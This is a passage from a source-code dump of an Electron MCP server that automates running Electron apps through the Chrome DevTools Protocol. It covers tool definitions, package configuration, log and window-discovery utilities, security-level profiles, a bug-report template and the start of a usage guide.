| item.data && 67 | typeof item.data === 'string' && 68 | item.data.length > 100 69 | ) { 70 | return { 71 | ...item, 72 | data: item.data.substring(0, 50) + '... [base64 truncated]', 73 | }; 74 | } 75 | return item; 76 | }); 77 | } 78 | 79 | logger.debug(`Tool call result:`, JSON.stringify(logResult, null, 2)); 80 | } 81 | 82 | return result; 83 | }); 84 | 85 | // Start the server 86 | async function main() { 87 | const transport = new StdioServerTransport(); 88 | logger.info('Electron MCP Server starting...'); 89 | await server.connect(transport); 90 | logger.info('Electron MCP Server running on stdio'); 91 | logger.info('Available tools:', tools.map((t) => t.name).join(', ')); 92 | } 93 | 94 | main().catch((error) => { 95 | logger.error('Server error:', error); 96 | process.exit(1); 97 | }); 98 | ``` -------------------------------------------------------------------------------- /src/tools.ts: -------------------------------------------------------------------------------- ```typescript 1 | import { zodToJsonSchema } from 'zod-to-json-schema'; 2 | import { 3 | SendCommandToElectronSchema, 4 | TakeScreenshotSchema, 5 | ReadElectronLogsSchema, 6 | GetElectronWindowInfoSchema, 7 | ToolInput, 8 | } from './schemas'; 9 | 10 | // Tool name enumeration 11 | export enum ToolName { 12 | SEND_COMMAND_TO_ELECTRON = 'send_command_to_electron', 13 | TAKE_SCREENSHOT = 'take_screenshot', 14 | READ_ELECTRON_LOGS = 'read_electron_logs', 15 | GET_ELECTRON_WINDOW_INFO = 'get_electron_window_info', 16 | } 17 | 18 | // Define tools available to the MCP server 19 | export const tools = [ 20 | { 21 | name: ToolName.GET_ELECTRON_WINDOW_INFO, 22 | description: 23 | 'Get information about running Electron applications and their windows. Automatically detects any Electron app with remote debugging enabled (port 9222).', 24 | inputSchema: zodToJsonSchema(GetElectronWindowInfoSchema) as ToolInput, 25 | }, 26 | { 27 | name: ToolName.TAKE_SCREENSHOT, 28 | description: 29 | 'Take a screenshot of any running Electron application window. Returns base64 image data for AI analysis. No files created unless outputPath is specified.', 30 | inputSchema: zodToJsonSchema(TakeScreenshotSchema) as ToolInput, 31 | }, 32 | { 33 | name: ToolName.SEND_COMMAND_TO_ELECTRON, 34 | description: `Send JavaScript commands to any running Electron application via Chrome DevTools Protocol. 35 | 36 | Enhanced UI interaction commands: 37 | - 'find_elements': Analyze all interactive elements (buttons, inputs, selects) with their properties 38 | - 'click_by_text': Click elements by their visible text, aria-label, or title 39 | - 'click_by_selector': Securely click elements by CSS selector 40 | - 'fill_input': Fill input fields by selector, placeholder text, or associated label 41 | - 'select_option': Select dropdown options by value or text 42 | - 'send_keyboard_shortcut': Send keyboard shortcuts like 'Ctrl+N', 'Meta+N', 'Enter', 'Escape' 43 | - 'navigate_to_hash': Safely navigate to hash routes (e.g., '#create', '#settings') 44 | - 'get_page_structure': Get organized overview of page elements (buttons, inputs, selects, links) 45 | - 'debug_elements': Get debugging info about buttons and form elements on the page 46 | - 'verify_form_state': Check current form state and validation status 47 | - 'get_title', 'get_url', 'get_body_text': Basic page information 48 | - 'eval': Execute custom JavaScript code with enhanced error reporting 49 | 50 | IMPORTANT: Arguments must be passed as an object with the correct properties: 51 | 52 | Examples: 53 | - click_by_selector: {"selector": "button.submit-btn"} 54 | - click_by_text: {"text": "Submit"} 55 | - fill_input: {"placeholder": "Enter name", "value": "John Doe"} 56 | - fill_input: {"selector": "#email", "value": "[email protected]"} 57 | - send_keyboard_shortcut: {"text": "Enter"} 58 | - eval: {"code": "document.title"} 59 | 60 | Use 'get_page_structure' or 'debug_elements' first to understand available elements, then use specific interaction commands.`, 61 | inputSchema: zodToJsonSchema(SendCommandToElectronSchema) as ToolInput, 62 | }, 63 | { 64 | name: ToolName.READ_ELECTRON_LOGS, 65 | description: 66 | 'Read console logs and output from running Electron applications. Useful for debugging and monitoring app behavior.', 67 | inputSchema: zodToJsonSchema(ReadElectronLogsSchema) as ToolInput, 68 | }, 69 | ]; 70 | ``` -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- ```json 1 | { 2 | "name": "electron-mcp-server", 3 | "version": "1.5.0", 4 | "description": "MCP server for Electron application automation and management. See MCP_USAGE_GUIDE.md for proper argument structure examples.", 5 | "main": "dist/index.js", 6 | "bin": { 7 | "electron-mcp-server": "dist/index.js" 8 | }, 9 | "scripts": { 10 | "build": "webpack --config webpack.config.ts --mode production", 11 | "build:dev": "webpack --config webpack.config.ts --mode development", 12 | "dev": "tsx src/index.ts", 13 | "dev:watch": "tsx --watch src/index.ts", 14 | "start": "node dist/index.js", 15 | "watch": "webpack --config webpack.config.ts --mode development --watch", 16 | "watch-and-serve": "webpack --config webpack.config.ts --mode development --watch & node --watch dist/index.js", 17 | "prepare": "npm run build", 18 | "test": "vitest run", 19 | "test:watch": "vitest", 20 | "test:ui": "vitest --ui", 21 | "test:react": "cd tests/integration/react-compatibility && electron test-react-electron.cjs", 22 | "test:coverage": "vitest run --coverage", 23 | "test:security": "npm run build && node test/security-test.js", 24 | "test:clean": "tsx -e \"import('./test/utils/cleanup.js').then(m => m.TestCleanup.cleanup())\"", 25 | "lint": "eslint src/**/*.ts", 26 | "lint:fix": "eslint src/**/*.ts --fix", 27 | "format": "prettier --write \"src/**/*.{ts,js,json,md}\"", 28 | "format:check": "prettier --check \"src/**/*.{ts,js,json,md}\"", 29 | "code:check": "npm run lint && npm run format:check", 30 | "code:fix": "npm run lint:fix && npm run format" 31 | }, 32 | "keywords": [ 33 | "mcp", 34 | "electron", 35 | "automation", 36 | "desktop", 37 | "model-context-protocol", 38 | "devtools", 39 | "testing", 40 | "ai", 41 | "chrome-devtools-protocol", 42 | "screenshot", 43 | "electron-automation" 44 | ], 45 | "author": "Halil Ural", 46 | "license": "MIT", 47 | "dependencies": { 48 | "@modelcontextprotocol/sdk": "^1.0.0", 49 | "@types/ws": "^8.18.1", 50 | "dotenv": "^17.2.1", 51 | "electron": "^28.0.0", 52 | "playwright": "^1.54.1", 53 | "ws": "^8.18.3", 54 | "zod": "^3.22.4", 55 | "zod-to-json-schema": "^3.22.4" 56 | }, 57 | "devDependencies": { 58 | "@eslint/js": "^9.32.0", 59 | "@types/node": "^20.19.10", 60 | "@types/webpack": "^5.28.5", 61 | "@types/webpack-node-externals": "^3.0.4", 62 | "@typescript-eslint/eslint-plugin": "^8.38.0", 63 | "@typescript-eslint/parser": "^8.38.0", 64 | "@vitest/coverage-v8": "^3.2.4", 65 | "@vitest/ui": "^3.2.4", 66 | "eslint": "^9.32.0", 67 | "globals": "^16.3.0", 68 | "jest": "^29.0.0", 69 | "jiti": "^2.5.1", 70 | "prettier": "^3.6.2", 71 | "ts-jest": "^29.0.0", 72 | "ts-loader": "^9.5.2", 73 | "ts-node": "^10.9.2", 74 | "tsx": "^4.6.0", 75 | "typescript": "^5.8.3", 76 | "typescript-eslint": "^8.38.0", 77 | "vitest": "^3.2.4", 78 | "webpack": "^5.101.0", 79 | "webpack-cli": "^6.0.1", 80 | "webpack-node-externals": "^3.0.0" 81 | }, 82 | "files": [ 83 | "dist", 84 | "README.md", 85 | "LICENSE" 86 | ], 87 | "engines": { 88 | "node": ">=18.0.0" 89 | }, 90 | "repository": { 91 | "type": "git", 92 | "url": "git+https://github.com/halilural/electron-mcp-server.git" 93 | }, 94 | "bugs": { 95 | "url": "https://github.com/halilural/electron-mcp-server/issues" 96 | }, 97 | "homepage": "https://github.com/halilural/electron-mcp-server#readme" 98 | } 99 | ``` -------------------------------------------------------------------------------- /mcp-config.json: -------------------------------------------------------------------------------- ```json 1 | { 2 | "name": "electron-mcp-server", 3 | "description": "Model Context Protocol server for Electron application management", 4 | "version": "1.0.0", 5 | "usage": { 6 | "claude_desktop": { 7 | "config_path": "~/Library/Application Support/Claude/claude_desktop_config.json", 8 | "config": { 9 | "mcpServers": { 10 | "electron": { 11 | "command": "npx", 12 | "args": ["-y", "electron-mcp-server"] 13 | } 14 | } 15 | } 16 | }, 17 | "vscode": { 18 | "config": { 19 | "mcp": { 20 | "servers": { 21 | "electron": { 22 | "command": "npx", 23 | "args": ["-y", "electron-mcp-server"] 24 | } 25 | } 26 | } 27 | } 28 | } 29 | }, 30 | "tools": [ 31 | { 32 | "name": "launch_electron_app", 33 | "description": "Launch an Electron application from a specified path", 34 | "parameters": { 35 | "appPath": { 36 | "type": "string", 37 | "description": "Path to the Electron application", 38 | "required": true 39 | }, 40 | "args": { 41 | "type": "array", 42 | "description": "Additional command line arguments", 43 | "required": false 44 | }, 45 | "devMode": { 46 | "type": "boolean", 47 | "description": "Launch in development mode with debugging", 48 | "required": false 49 | } 50 | } 51 | }, 52 | { 53 | "name": "close_electron_app", 54 | "description": "Close the currently running Electron application", 55 | "parameters": { 56 | "force": { 57 | "type": "boolean", 58 | "description": "Force close the application if unresponsive", 59 | "required": false 60 | } 61 | } 62 | }, 63 | { 64 | "name": "get_electron_info", 65 | "description": "Get information about the Electron installation and environment", 66 | "parameters": {} 67 | }, 68 | { 69 | "name": "create_electron_project", 70 | "description": "Create a new Electron project with a basic structure", 71 | "parameters": { 72 | "projectName": { 73 | "type": "string", 74 | "description": "Name of the new project", 75 | "required": true 76 | }, 77 | "projectPath": { 78 | "type": "string", 79 | "description": "Directory where to create the project", 80 | "required": true 81 | }, 82 | "template": { 83 | "type": "string", 84 | "description": "Project template (basic, react, vue, angular)", 85 | "required": false, 86 | "default": "basic" 87 | } 88 | } 89 | }, 90 | { 91 | "name": "build_electron_app", 92 | "description": "Build an Electron application for distribution", 93 | "parameters": { 94 | "projectPath": { 95 | "type": "string", 96 | "description": "Path to the Electron project", 97 | "required": true 98 | }, 99 | "platform": { 100 | "type": "string", 101 | "description": "Target platform (win32, darwin, linux)", 102 | "required": false 103 | }, 104 | "arch": { 105 | "type": "string", 106 | "description": "Target architecture (x64, arm64, ia32)", 107 | "required": false 108 | }, 109 | "debug": { 110 | "type": "boolean", 111 | "description": "Build in debug mode", 112 | "required": false 113 | } 114 | } 115 | }, 116 | { 117 | "name": "get_electron_process_info", 118 | "description": "Get information about the currently running Electron process", 119 | "parameters": {} 120 | }, 121 | { 122 | "name": "send_command_to_electron", 123 | "description": "Send commands to the running Electron application (requires IPC setup)", 124 | "parameters": { 125 | "command": { 126 | "type": "string", 127 | "description": "Command to send", 128 | "required": true 129 | }, 130 | "args": { 131 | "type": "any", 132 | "description": "Command arguments", 133 | "required": false 134 | } 135 | } 136 | } 137 | ] 138 | } 139 | ``` -------------------------------------------------------------------------------- /src/utils/electron-logs.ts: -------------------------------------------------------------------------------- ```typescript 1 | import { exec } from 'child_process'; 2 | import { promisify } from 'util'; 3 | import { findElectronTarget, connectForLogs } from './electron-connection'; 4 | import { logger } from './logger'; 5 | 6 | export type LogType = 'console' | 'main' | 'renderer' | 'all'; 7 | 8 | export interface LogEntry { 9 | timestamp: string; 10 | level: string; 11 | message: string; 12 | source: 'console' | 'system'; 13 | } 14 | 15 | /** 16 | * Read logs from running Electron applications 17 | */ 18 | export async function readElectronLogs( 19 | logType: LogType = 'all', 20 | lines: number = 100, 21 | follow: boolean = false, 22 | ): Promise<string> { 23 | try { 24 | logger.info('[MCP] Looking for running Electron applications for log access...'); 25 | 26 | try { 27 | const target = await findElectronTarget(); 28 | 29 | // Connect via WebSocket to get console logs 30 | if (logType === 'console' || logType === 'all') { 31 | return await getConsoleLogsViaDevTools(target, lines, follow); 32 | } 33 | } catch { 34 | logger.info('[MCP] No DevTools connection found, checking system logs...'); 35 | } 36 | 37 | // Fallback to system logs if DevTools not available 38 | return await getSystemElectronLogs(lines); 39 | } catch (error) { 40 | throw new Error( 41 | `Failed to read logs: ${error instanceof Error ? error.message : String(error)}`, 42 | ); 43 | } 44 | } 45 | 46 | /** 47 | * Get console logs via Chrome DevTools Protocol 48 | */ 49 | async function getConsoleLogsViaDevTools( 50 | target: any, 51 | lines: number, 52 | follow: boolean, 53 | ): Promise<string> { 54 | const logs: string[] = []; 55 | 56 | return new Promise((resolve, reject) => { 57 | (async () => { 58 | try { 59 | const ws = await connectForLogs(target, (log: string) => { 60 | logs.push(log); 61 | if (logs.length >= lines && !follow) { 62 | ws.close(); 63 | resolve(logs.slice(-lines).join('\n')); 64 | } 65 | }); 66 | 67 | // For non-follow mode, try to get console history first 68 | if (!follow) { 69 | // Request console API calls from Runtime 70 | ws.send( 71 | JSON.stringify({ 72 | id: 99, 73 | method: 'Runtime.evaluate', 74 | params: { 75 | expression: `console.log("Reading console history for MCP test"); "History checked"`, 76 | includeCommandLineAPI: true, 77 | }, 78 | }), 79 | ); 80 | 81 | // Wait longer for logs to be captured and history to be available 82 | setTimeout(() => { 83 | ws.close(); 84 | resolve(logs.length > 0 ? logs.slice(-lines).join('\n') : 'No console logs available'); 85 | }, 7000); // Increased timeout to 7 seconds 86 | } 87 | } catch (error) { 88 | reject(error); 89 | } 90 | })(); 91 | }); 92 | } 93 | 94 | /** 95 | * Get system logs for Electron processes 96 | */ 97 | async function getSystemElectronLogs(lines: number = 100): Promise<string> { 98 | logger.info('[MCP] Reading system logs for Electron processes...'); 99 | 100 | try { 101 | const execAsync = promisify(exec); 102 | 103 | // Get running Electron processes 104 | const { stdout } = await execAsync('ps aux | grep -i electron | grep -v grep'); 105 | const electronProcesses = stdout 106 | .trim() 107 | .split('\n') 108 | .filter((line) => line.length > 0); 109 | 110 | if (electronProcesses.length === 0) { 111 | return 'No Electron processes found running on the system.'; 112 | } 113 | 114 | let logOutput = `Found ${electronProcesses.length} Electron process(es):\n\n`; 115 | 116 | electronProcesses.forEach((process, index) => { 117 | const parts = process.trim().split(/\s+/); 118 | const pid = parts[1]; 119 | const command = parts.slice(10).join(' '); 120 | logOutput += `Process ${index + 1}:\n`; 121 | logOutput += ` PID: ${pid}\n`; 122 | logOutput += ` Command: ${command}\n\n`; 123 | }); 124 | 125 | try { 126 | const { stdout: logContent } = await execAsync( 127 | `log show --last 1h --predicate 'process == "Electron"' --style compact | tail -${lines}`, 128 | ); 129 | if (logContent.trim()) { 130 | logOutput += 'Recent Electron logs from system:\n'; 131 | logOutput += '==========================================\n'; 132 | logOutput += logContent; 133 | } else { 134 | logOutput += 135 | 'No recent Electron logs found in system logs. Try enabling remote debugging with --remote-debugging-port=9222 for better log access.'; 136 | } 137 | } catch { 138 | logOutput += 139 | 'Could not access system logs. For detailed logging, start Electron app with --remote-debugging-port=9222'; 140 | } 141 | 142 | return logOutput; 143 | } catch (error) { 144 | return `Error reading system logs: ${error instanceof Error ? error.message : String(error)}`; 145 | } 146 | } 147 | ``` -------------------------------------------------------------------------------- /src/security/config.ts: -------------------------------------------------------------------------------- ```typescript 1 | import { SecurityConfig } from './manager'; 2 | import { logger } from '../utils/logger'; 3 | 4 | export enum SecurityLevel { 5 | STRICT = 'strict', // Maximum security - blocks most function calls 6 | BALANCED = 'balanced', // Default - allows safe UI interactions 7 | PERMISSIVE = 'permissive', // Minimal restrictions - allows more operations 8 | DEVELOPMENT = 'development', // Least restrictive - for development/testing 9 | } 10 | 11 | /** 12 | * Represents a security profile configuration for controlling access and interactions within the application. 13 | * 14 | * @property level - The security level applied to the profile. 15 | * @property allowUIInteractions - Indicates if UI interactions are permitted. 16 | * @property allowDOMQueries - Indicates if DOM queries are allowed. 17 | * @property allowPropertyAccess - Indicates if property access is permitted. 18 | * @property allowAssignments - Indicates if assignments to properties are allowed. 19 | * @property allowFunctionCalls - Whitelist of allowed function patterns for invocation. 20 | * @property riskThreshold - The risk threshold level ('low', 'medium', 'high', or 'critical') for the profile. 21 | */ 22 | export interface SecurityProfile { 23 | level: SecurityLevel; 24 | allowUIInteractions: boolean; 25 | allowDOMQueries: boolean; 26 | allowPropertyAccess: boolean; 27 | allowAssignments: boolean; 28 | allowFunctionCalls: string[]; // Whitelist of allowed function patterns 29 | riskThreshold: 'low' | 'medium' | 'high' | 'critical'; 30 | } 31 | 32 | export const SECURITY_PROFILES: Record<SecurityLevel, SecurityProfile> = { 33 | [SecurityLevel.STRICT]: { 34 | level: SecurityLevel.STRICT, 35 | allowUIInteractions: false, 36 | allowDOMQueries: false, 37 | allowPropertyAccess: true, 38 | allowAssignments: false, 39 | allowFunctionCalls: [], 40 | riskThreshold: 'low', 41 | }, 42 | 43 | [SecurityLevel.BALANCED]: { 44 | level: SecurityLevel.BALANCED, 45 | allowUIInteractions: true, 46 | allowDOMQueries: true, 47 | allowPropertyAccess: true, 48 | allowAssignments: false, 49 | allowFunctionCalls: [ 50 | 'querySelector', 51 | 'querySelectorAll', 52 | 'getElementById', 53 | 'getElementsByClassName', 54 | 'getElementsByTagName', 55 | 'getComputedStyle', 56 | 'getBoundingClientRect', 57 | 'focus', 58 | 'blur', 59 | 'scrollIntoView', 60 | 'dispatchEvent', 61 | ], 62 | riskThreshold: 'medium', 63 | }, 64 | 65 | [SecurityLevel.PERMISSIVE]: { 66 | level: SecurityLevel.PERMISSIVE, 67 | allowUIInteractions: true, 68 | allowDOMQueries: true, 69 | allowPropertyAccess: true, 70 | allowAssignments: true, 71 | allowFunctionCalls: [ 72 | 'querySelector', 73 | 'querySelectorAll', 74 | 'getElementById', 75 | 'getElementsByClassName', 76 | 'getElementsByTagName', 77 | 'getComputedStyle', 78 | 'getBoundingClientRect', 79 | 'focus', 80 | 'blur', 81 | 'scrollIntoView', 82 | 'dispatchEvent', 83 | 'click', 84 | 'submit', 85 | 'addEventListener', 86 | 'removeEventListener', 87 | ], 88 | riskThreshold: 'high', 89 | }, 90 | 91 | [SecurityLevel.DEVELOPMENT]: { 92 | level: SecurityLevel.DEVELOPMENT, 93 | allowUIInteractions: true, 94 | allowDOMQueries: true, 95 | allowPropertyAccess: true, 96 | allowAssignments: true, 97 | allowFunctionCalls: ['*'], // Allow all function calls 98 | riskThreshold: 'critical', 99 | }, 100 | }; 101 | 102 | export function getSecurityConfig( 103 | level: SecurityLevel = SecurityLevel.BALANCED, 104 | ): Partial<SecurityConfig> { 105 | const profile = SECURITY_PROFILES[level]; 106 | 107 | return { 108 | defaultRiskThreshold: profile.riskThreshold, 109 | enableInputValidation: true, 110 | enableAuditLog: true, 111 | enableSandbox: level !== SecurityLevel.DEVELOPMENT, 112 | enableScreenshotEncryption: level !== SecurityLevel.DEVELOPMENT, 113 | }; 114 | } 115 | 116 | /** 117 | * Get the default security level from environment variable or fallback to BALANCED 118 | * Environment variable: SECURITY_LEVEL 119 | * Valid values: strict, balanced, permissive, development 120 | */ 121 | export function getDefaultSecurityLevel(): SecurityLevel { 122 | const envSecurityLevel = process.env.SECURITY_LEVEL; 123 | 124 | if (envSecurityLevel) { 125 | const normalizedLevel = envSecurityLevel.toLowerCase(); 126 | 127 | // Check if the provided value is a valid SecurityLevel 128 | if (Object.values(SecurityLevel).includes(normalizedLevel as SecurityLevel)) { 129 | logger.info(`Using security level from environment: ${normalizedLevel}`); 130 | return normalizedLevel as SecurityLevel; 131 | } else { 132 | logger.warn(`Invalid security level in environment variable: ${envSecurityLevel}. Valid values are: ${Object.values(SecurityLevel).join(', ')}. Falling back to BALANCED.`); 133 | } 134 | } 135 | 136 | logger.info('Using BALANCED security level (default)'); 137 | return SecurityLevel.BALANCED; 138 | } 139 | ``` -------------------------------------------------------------------------------- /ISSUE_TEMPLATE.md: -------------------------------------------------------------------------------- ```markdown 1 | # Bug Report Template 2 | 3 | When reporting bugs with the Electron MCP Server, please include the following technical details to help developers understand and reproduce the issue. 4 | 5 | ## Basic Information 6 | 7 | - **MCP Server Version**: `[email protected]` 8 | - **Node.js Version**: `node --version` 9 | - **Electron Version**: `electron --version` 10 | - **Operating System**: Windows/macOS/Linux 11 | - **Security Level**: STRICT/BALANCED/PERMISSIVE/DEVELOPMENT 12 | 13 | ## Bug Description 14 | 15 | ### Expected Behavior 16 | What should happen when the command is executed. 17 | 18 | ### Actual Behavior 19 | What actually happens, including any error messages. 20 | 21 | ## Reproduction Steps 22 | 23 | ### 1. MCP Command Structure 24 | 25 | **Tool Name**: `tool_name` 26 | **Method**: `tools/call` 27 | **Arguments Structure**: 28 | ```json 29 | { 30 | "jsonrpc": "2.0", 31 | "id": 1, 32 | "method": "tools/call", 33 | "params": { 34 | "name": "tool_name", 35 | "arguments": { 36 | "command": "command_name", 37 | "args": { 38 | "parameter": "value" 39 | } 40 | } 41 | } 42 | } 43 | ``` 44 | 45 | ### 2. Full Command Example 46 | 47 | ```bash 48 | echo '{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "Button Text"}}}}' | node dist/index.js 49 | ``` 50 | 51 | ### 3. Error Output 52 | 53 | ``` 54 | [MCP] ERROR: Error message here 55 | {"result":{"content":[{"type":"text","text":"❌ Error: Detailed error message"}],"isError":true},"jsonrpc":"2.0","id":1} 56 | ``` 57 | 58 | ### 4. Expected Output 59 | 60 | ``` 61 | [MCP] INFO: Success message here 62 | {"result":{"content":[{"type":"text","text":"✅ Result: Success message"}],"isError":false},"jsonrpc":"2.0","id":1} 63 | ``` 64 | 65 | ## Technical Context 66 | 67 | ### Target Application 68 | - **Application Type**: React/Vue/Angular/Vanilla JS 69 | - **Framework Version**: React 18, Vue 3, etc. 70 | - **Electron Remote Debugging**: Port 9222 enabled 71 | - **DevTools Available**: Yes/No 72 | 73 | ### Environment Setup 74 | 75 | ```bash 76 | # Commands to reproduce the environment 77 | npm install 78 | npm run build 79 | npm run start 80 | ``` 81 | 82 | ### Application State 83 | - **Page URL**: `file:///path/to/app.html` or `http://localhost:3000` 84 | - **DOM Elements**: Provide `get_page_structure` output if relevant 85 | - **Console Errors**: Any JavaScript errors in the target application 86 | 87 | ## Additional Information 88 | 89 | ### Related Files 90 | - Source code files involved 91 | - Configuration files 92 | - Log files 93 | 94 | ### Debugging Attempts 95 | What you've already tried to fix the issue. 96 | 97 | ### Screenshots 98 | Include screenshots of the application state, if helpful. 99 | 100 | --- 101 | 102 | ## Example Bug Reports 103 | 104 | ### Example 1: Click Command Failure 105 | 106 | **Bug**: Click commands fail on React components with preventDefault 107 | 108 | **MCP Command**: 109 | ```bash 110 | echo '{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "Submit"}}}}' | node dist/index.js 111 | ``` 112 | 113 | **Error Output**: 114 | ``` 115 | [MCP] INFO: Tool call: send_command_to_electron 116 | {"result":{"content":[{"type":"text","text":"❌ Error: Click events were cancelled by the page"}],"isError":true},"jsonrpc":"2.0","id":1} 117 | ``` 118 | 119 | **Expected Output**: 120 | ``` 121 | {"result":{"content":[{"type":"text","text":"✅ Result: Successfully clicked element: Submit"}],"isError":false},"jsonrpc":"2.0","id":1} 122 | ``` 123 | 124 | **Technical Details**: 125 | - **Target Element**: `<button onClick={e => e.preventDefault()}>Submit</button>` 126 | - **Issue Location**: `src/utils/electron-commands.ts:515` 127 | - **Root Cause**: preventDefault() treated as failure condition 128 | 129 | ### Example 2: Form Input Detection Failure 130 | 131 | **Bug**: fill_input returns "No suitable input found" for visible React inputs 132 | 133 | **MCP Command**: 134 | ```bash 135 | echo '{"jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "username", "value": "testuser"}}}}' | node dist/index.js 136 | ``` 137 | 138 | **Error Output**: 139 | ``` 140 | {"result":{"content":[{"type":"text","text":"❌ Error: No suitable input found for: \"username\". Available inputs: email, password, submit"}],"isError":true},"jsonrpc":"2.0","id":2} 141 | ``` 142 | 143 | **Page Structure Output**: 144 | ```bash 145 | echo '{"jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "get_page_structure", "args": {}}}}' | node dist/index.js 146 | ``` 147 | 148 | ```json 149 | { 150 | "inputs": [ 151 | { 152 | "type": "text", 153 | "placeholder": "Enter username", 154 | "label": "Username", 155 | "id": "username", 156 | "name": "username", 157 | "visible": true 158 | } 159 | ] 160 | } 161 | ``` 162 | 163 | **Technical Details**: 164 | - **Target Element**: `<input id="username" name="username" placeholder="Enter username" />` 165 | - **Issue Location**: `src/utils/electron-input-commands.ts` scoring algorithm 166 | - **Root Cause**: Scoring algorithm fails to match React-rendered inputs 167 | ``` -------------------------------------------------------------------------------- /src/utils/electron-discovery.ts: -------------------------------------------------------------------------------- ```typescript 1 | import { exec } from 'child_process'; 2 | import { promisify } from 'util'; 3 | import { logger } from './logger'; 4 | 5 | export interface ElectronAppInfo { 6 | port: number; 7 | targets: any[]; 8 | } 9 | 10 | export interface WindowInfo { 11 | id: string; 12 | title: string; 13 | url: string; 14 | type: string; 15 | description: string; 16 | webSocketDebuggerUrl: string; 17 | } 18 | 19 | export interface ElectronWindowResult { 20 | platform: string; 21 | devToolsPort?: number; 22 | windows: WindowInfo[]; 23 | totalTargets: number; 24 | electronTargets: number; 25 | processInfo?: any; 26 | message: string; 27 | automationReady: boolean; 28 | } 29 | 30 | /** 31 | * Scan for running Electron applications with DevTools enabled 32 | */ 33 | export async function scanForElectronApps(): Promise<ElectronAppInfo[]> { 34 | logger.debug('Scanning for running Electron applications...'); 35 | 36 | // Extended port range to include test apps and common custom ports 37 | const commonPorts = [ 38 | 9222, 39 | 9223, 40 | 9224, 41 | 9225, // Default ports 42 | 9200, 43 | 9201, 44 | 9202, 45 | 9203, 46 | 9204, 47 | 9205, // Security test range 48 | 9300, 49 | 9301, 50 | 9302, 51 | 9303, 52 | 9304, 53 | 9305, // Integration test range 54 | 9400, 55 | 9401, 56 | 9402, 57 | 9403, 58 | 9404, 59 | 9405, // Additional range 60 | ]; 61 | const foundApps: ElectronAppInfo[] = []; 62 | 63 | for (const port of commonPorts) { 64 | try { 65 | const response = await fetch(`http://localhost:${port}/json`, { 66 | signal: AbortSignal.timeout(1000), 67 | }); 68 | 69 | if (response.ok) { 70 | const targets = await response.json(); 71 | const pageTargets = targets.filter((target: any) => target.type === 'page'); 72 | 73 | if (pageTargets.length > 0) { 74 | foundApps.push({ 75 | port, 76 | targets: pageTargets, 77 | }); 78 | logger.debug(`Found Electron app on port ${port} with ${pageTargets.length} windows`); 79 | } 80 | } 81 | } catch { 82 | // Continue to next port 83 | } 84 | } 85 | 86 | return foundApps; 87 | } 88 | 89 | /** 90 | * Get detailed process information for running Electron applications 91 | */ 92 | export async function getElectronProcessInfo(): Promise<any> { 93 | const execAsync = promisify(exec); 94 | 95 | try { 96 | const { stdout } = await execAsync( 97 | "ps aux | grep -i electron | grep -v grep | grep -v 'Visual Studio Code'", 98 | ); 99 | 100 | const electronProcesses = stdout 101 | .trim() 102 | .split('\n') 103 | .filter((line) => line.includes('electron')) 104 | .map((line) => { 105 | const parts = line.trim().split(/\s+/); 106 | return { 107 | pid: parts[1], 108 | cpu: parts[2], 109 | memory: parts[3], 110 | command: parts.slice(10).join(' '), 111 | }; 112 | }); 113 | 114 | return { electronProcesses }; 115 | } catch (error) { 116 | logger.debug('Could not get process info:', error); 117 | return {}; 118 | } 119 | } 120 | 121 | /** 122 | * Find the main target from a list of targets 123 | */ 124 | export function findMainTarget(targets: any[]): any | null { 125 | return ( 126 | targets.find((target: any) => target.type === 'page' && !target.title.includes('DevTools')) || 127 | targets.find((target: any) => target.type === 'page') 128 | ); 129 | } 130 | 131 | /** 132 | * Get window information from any running Electron app 133 | */ 134 | export async function getElectronWindowInfo( 135 | includeChildren: boolean = false, 136 | ): Promise<ElectronWindowResult> { 137 | try { 138 | const foundApps = await scanForElectronApps(); 139 | 140 | if (foundApps.length === 0) { 141 | return { 142 | platform: process.platform, 143 | windows: [], 144 | totalTargets: 0, 145 | electronTargets: 0, 146 | message: 'No Electron applications found with remote debugging enabled', 147 | automationReady: false, 148 | }; 149 | } 150 | 151 | // Use the first found app 152 | const app = foundApps[0]; 153 | const windows: WindowInfo[] = app.targets.map((target: any) => ({ 154 | id: target.id, 155 | title: target.title, 156 | url: target.url, 157 | type: target.type, 158 | description: target.description || '', 159 | webSocketDebuggerUrl: target.webSocketDebuggerUrl, 160 | })); 161 | 162 | // Get additional process information 163 | const processInfo = await getElectronProcessInfo(); 164 | 165 | return { 166 | platform: process.platform, 167 | devToolsPort: app.port, 168 | windows: includeChildren 169 | ? windows 170 | : windows.filter((w: WindowInfo) => !w.title.includes('DevTools')), 171 | totalTargets: windows.length, 172 | electronTargets: windows.length, 173 | processInfo, 174 | message: `Found running Electron application with ${windows.length} windows on port ${app.port}`, 175 | automationReady: true, 176 | }; 177 | } catch (error) { 178 | logger.error('Failed to scan for applications:', error); 179 | return { 180 | platform: process.platform, 181 | windows: [], 182 | totalTargets: 0, 183 | electronTargets: 0, 184 | message: `Failed to scan for Electron applications: ${ 185 | error instanceof Error ? error.message : String(error) 186 | }`, 187 | automationReady: false, 188 | }; 189 | } 190 | } 191 | ``` -------------------------------------------------------------------------------- /MCP_USAGE_GUIDE.md: -------------------------------------------------------------------------------- ```markdown 1 | # MCP Usage Examples for Electron MCP Server 2 | 3 | This document provides comprehensive examples of how to properly use the Electron MCP Server tools. 4 | 5 | ## 🎯 Common Patterns 6 | 7 | ### Getting Started - Page Inspection 8 | 9 | Always start by understanding the page structure: 10 | 11 | ```json 12 | { 13 | "command": "get_page_structure" 14 | } 15 | ``` 16 | 17 | This returns all interactive elements with their properties, helping you choose the right targeting method. 18 | 19 | ### Button Interactions 20 | 21 | #### Method 1: Click by Visible Text (Recommended) 22 | 23 | ```json 24 | { 25 | "command": "click_by_text", 26 | "args": { 27 | "text": "Create New Encyclopedia" 28 | } 29 | } 30 | ``` 31 | 32 | #### Method 2: Click by CSS Selector 33 | 34 | ```json 35 | { 36 | "command": "click_by_selector", 37 | "args": { 38 | "selector": "button[class*='bg-blue-500']" 39 | } 40 | } 41 | ``` 42 | 43 | ### Form Interactions 44 | 45 | #### Fill Input by Placeholder 46 | 47 | ```json 48 | { 49 | "command": "fill_input", 50 | "args": { 51 | 